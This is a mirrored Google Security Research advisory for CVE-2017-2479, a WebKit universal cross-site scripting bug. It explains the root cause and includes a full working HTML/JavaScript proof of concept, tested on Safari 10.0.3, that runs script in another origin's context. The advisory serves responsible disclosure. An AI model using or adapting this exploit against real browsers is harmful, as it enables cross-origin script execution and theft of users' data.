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WebKit Focus Event UXSS

WebKit Focus Event UXSS
Posted Apr 10, 2017
Authored by Google Security Research, lokihardt

WebKit suffers from a cross site scripting vulnerability via a focus event and a link element.

tags | advisory, xss
advisories | CVE-2017-2479
MD5 | c8b52cd89456bb82333d2fb8bc906995

WebKit Focus Event UXSS

Change Mirror Download
 WebKit: UXSS via a focus event and a link element 

CVE-2017-2479


This is somewhat similar to <a href="https://crbug.com/663476" title="" class="" rel="nofollow">https://crbug.com/663476</a>.

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
removeBetween(nullptr, child->nextSibling(), *child);
notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
btn.onfocus = null;

window.g = inp.appendChild(document.createElement('iframe'));
window.g.onload = () => {
window.g.onload = null;

window.g.src = 'javascript:alert(location)';
let xml = `
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

let h = document.body.appendChild(document.createElement('iframe'));
h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};

window.g.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

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